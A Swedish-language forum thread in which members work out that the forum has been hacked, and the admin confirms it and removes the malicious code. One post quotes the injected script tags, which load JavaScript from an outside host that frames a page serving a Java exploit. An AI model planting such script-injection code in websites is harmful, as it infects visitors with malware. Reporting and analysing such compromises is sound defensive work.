selleri.de

Pinsamt, F5 löste problemet. Varför försökte jag inte det tidigare...

Tack!

/Mika

Det tycker jag inte - bra problem är sådana man löser snabbt

Jag är ganska övertygad att forumet utsatts för någon form av virusattack och att det är det som gjort forumet oåtkomligt emellanåt. Mitt antivirusprogram har detekterat flera intrångsförsök när jag bläddrat runt på forumet utan att ha någon annan sida öppen. Bifogar screenshot. Verkar vara mest Java-exploits. Ni på forumet som kör PC - kontrollera era datorer för säkerhets skull.

_________________
/ Janne

Tack för rapporten, men jag måste motsäga din teori.

• Det finns inga tecken som jag kan se från ett administratörsperspektiv på att vi skulle ha blivit utsatta för någon form av lyckat intrång med den effekt som du beskriver.
• Som vanlig forumanvändare som besöker forumet med diverse anti-malwareprogram påslagna ser jag inte heller några tecken på att något skulle vara galet.
• Även OM vi skulle haft några problem av denna karaktär, så skulle det inte påverka forumets själva tillgänglighet.

Sådana här saker är inte min starka sida (heller...) men det har stundtals varit väldigt segt här de senaste dagarna. Däremot har jag inte fått upp några "Error-sidor" utan det tar bara mycket längre tid innan det händer något.

/ B

_________________
"När Einstein insåg att allt var relativt började han kröka på rummet."
Ikemi/Majik DSM, LP12/Ekos/Akiva/Lingo2, B&W DM603

Nånting skumt är det iaf. Det öppnas en massa IP-koppel mot seirnews.com, vilket inte var en allt för angenäm sida att gå in på.

_________________
/ Janne

Förstår du vad som står där?

/ B

_________________
"När Einstein insåg att allt var relativt började han kröka på rummet."
Ikemi/Majik DSM, LP12/Ekos/Akiva/Lingo2, B&W DM603

Nej, men bilden på förstasidan såg inte så mysig ut.

_________________
/ Janne

Jo, forumet verkar ha råkat ut för något hack/exploit.

Längst ner i varje tråd så finns koden:

<script>function delayer(){
window.stop();
}</script>
<script language="javascript" src="http://mandana.eu5.org/if.js"></script>
<script>setTimeout('delayer()', 10000) ;</script>


Det javaskriptet gör i sin tur en iframe runt:
http://mandana.eu5.org/images/images.php

Vilket i sin tur gör anropen mot seirnews.com och där hämtas en Java/Loic

Vill man se det tydligare så är det bara att installera/slå på Firebug eller Tamper Data i firefox.

Tack för rapporten, och jag får krypa till korset och konstatera att ni har rätt. Jag har identifierat vilken fil som ändrats, det gjordes den 15/10, och har tagit bort den skadliga koden. Tyvärr vet jag inte ännu på vilket sätt det har gått att genomföra angreppet - jag har några teorier dock, så ska ta itu med att analysera vidare när febern gått ner från 40 grader...